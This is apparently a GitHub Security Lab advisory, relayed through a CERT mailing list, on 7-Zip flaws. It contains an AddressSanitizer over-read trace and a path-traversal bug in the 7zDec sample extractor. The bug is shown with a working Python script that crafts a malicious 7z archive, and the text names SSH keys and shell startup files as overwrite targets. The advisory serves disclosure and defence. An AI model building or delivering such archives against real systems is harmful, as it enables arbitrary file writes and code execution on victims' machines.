ASan-confirmed against 7-Zip 26.00 (built from source with /fsanitize=address):

==20212==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x120db4eb37bc
  at pc 0x7ff7437159b3 bp 0x00c326d5d170 sp 0x00c326d5d178
READ of size 4 at 0x120db4eb37bc thread T0
    #0 NArchive::NAr::Get32           ArHandler.cpp:446
    #1 NArchive::NAr::CHandler::ParseLibSymbols  ArHandler.cpp:476
    #2 NArchive::NAr::CHandler::Open  ArHandler.cpp:627

0x120db4eb37bc is located 0 bytes after 12-byte region
allocated by thread T0 here:
    #0 operator new[]                 asan_win_new_array_thunk.cpp:41
    #1 CSmallObjArray<unsigned char>::CSmallObjArray  MyBuffer.h:228
    #2 NArchive::NAr::CHandler::ParseLibSymbols  ArHandler.cpp:460

SUMMARY: AddressSanitizer: heap-buffer-overflow
  ArHandler.cpp:476 in NArchive::NAr::CHandler::ParseLibSymbols

READ of size 4 at 0 bytes after a 12-byte region confirms the off-by-4
OOB at line 476.

Issue 8: Missing path validation in extraction loop (GHSL-2026-115)

Path traversal in 7zDec SDK sample extractor allows arbitrary file write.

The 7zDec standalone LZMA SDK sample extractor (C/Util/7z/7zMain.c) does
not validate archive entry paths for directory traversal sequences (..),
absolute paths, or other unsafe path components when extracting in x (full paths)
mode. An attacker-controlled 7z archive can write files to arbitrary
locations on the filesystem, enabling code execution via overwriting
startup scripts, SSH keys, or system configuration files.

The main 7-Zip C++ extractor (CPP/7zip/UI/Common/ArchiveExtractCallback.cpp)
has IsSafePath / CLinkLevelsInfo::Parse protection against this class of
attack. The C reference extractor lacks the equivalent check.

main() in C/Util/7z/7zMain.c extracts archive entries by taking the kpidPath
filename directly from the archive header and using it to create
directories and files:

// C/Util/7z/7zMain.c, lines ~749-775

UInt16 *name = (UInt16 *)temp;
const UInt16 *destPath = (const UInt16 *)name;

for (j = 0; name[j] != 0; j++)
  if (name[j] == '/')
  {
    if (fullPaths)
    {
      name[j] = 0;
      MyCreateDir(name);                    // creates intermediate dirs
      name[j] = CHAR_PATH_SEPARATOR;
    }
    else
      destPath = name + j + 1;
  }

if (isDir)
{
  MyCreateDir(destPath);
}
else
{
  const WRes wres = OutFile_OpenUtf16(&outFile, destPath);  // opens file for writing
  ...
  File_Write(&outFile, outBuffer + offset, &processedSize); // writes attacker content

OutFile_OpenUtf16 calls creat(name, 0666) on POSIX (C/7zFile.c:93) or
CreateFileW(... CREATE_ALWAYS ...) on Windows (C/7zFile.c:104-108).
Neither path includes any sanitization of .., absolute paths, drive
letters, UNC paths, or reserved device names.

A malicious 7z archive with an entry named ../../../../../../tmp/pwned (UTF-16):

    The split loop calls MyCreateDir(".."), MyCreateDir("../.."), etc.
    OutFile_OpenUtf16 opens ../../../../../../tmp/pwned relative to CWD
    File_Write writes attacker-controlled content

This enables overwriting ~/.ssh/authorized_keys, ~/.bashrc,
/etc/crontab (if root), or any other writable path.

Mode e (fullPaths == 0) is not affected — the loop reduces destPath to
the basename after the last /, collapsing traversal sequences. Only
mode x is vulnerable.

Impact

It is a sample extractor which may be used as example. This issue may
lead to arbitrary file write and remote code execution (overwrite
shell rc files, cron jobs, SSH keys). 7zDec is built from the LZMA SDK
and is a working binary that users invoke on untrusted archives. The
attack requires only delivering a crafted 7z archive — no special
privileges, no race conditions.

CWEs

    CWE-22: “Improper Limitation of a Pathname to a Restricted
Directory (‘Path Traversal’)”

Resources

PoC generator:

import struct, binascii, os, subprocess

# Step 1: Create a temp file with a safe placeholder name (27 chars, matching traversal length)
safe_name = 'XXXXXXXXXXXXXXXXXXXXXXXXXXX'  # 27 chars
traversal = '../../../../../../tmp/pwned'  # 27 chars

os.makedirs('/tmp/poc', exist_ok=True)
with open(f'/tmp/poc/{safe_name}', 'w') as f:
    f.write('MALICIOUS CONTENT\n')

# Step 2: Create .7z with uncompressed header (-mhc=off) and no
compression (-mx0)
subprocess.run(['7zz', 'a', '-mx0', '-mhc=off', 'poc_traversal.7z', f'/tmp/poc/{safe_name}'])

# Step 3: Binary-patch the UTF-16LE filename and fix CRCs
data = bytearray(open('poc_traversal.7z', 'rb').read())
safe_u16 = safe_name.encode('utf-16-le')
trav_u16 = traversal.encode('utf-16-le')
idx = data.find(safe_u16)
assert idx >= 0, "Placeholder not found — header may be compressed"
data[idx:idx+len(safe_u16)] = trav_u16

# Fix NextHeaderCRC
next_off = struct.unpack_from('<Q', data, 12)[0]
next_size = struct.unpack_from('<Q', data, 20)[0]
hdr_data = data[32 + next_off : 32 + next_off + next_size]
struct.pack_into('<I', data, 28, binascii.crc32(bytes(hdr_data)) & 0xFFFFFFFF)
# Fix StartHeaderCRC
struct.pack_into('<I', data, 8, binascii.crc32(bytes(data[12:32])) & 0xFFFFFFFF)

open('poc_traversal.7z', 'wb').write(data)

Triggering:

cd /some/deep/directory
7zDec x poc_traversal.7z

CVE

    GHSL-2026-115: Sample app
    GHSL-2026-116: CVE-2026-48092
    GHSL-2026-117: CVE-2026-48101
    GHSL-2026-118: CVE-2026-48102
    GHSL-2026-119: CVE-2026-48103
    GHSL-2026-120: CVE-2026-48104
    GHSL-2026-121: CVE-2026-48111
    GHSL-2026-122: CVE-2026-48112

Credit

These issues were discovered and reported by GHSL team member @JarLob
(Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include
a reference to GHSL-2026-115, GHSL-2026-116, GHSL-2026-117, GHSL-2026-118,
GHSL-2026-119, GHSL-2026-120, GHSL-2026-121, or GHSL-2026-122 in any
communication regarding these issues.


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




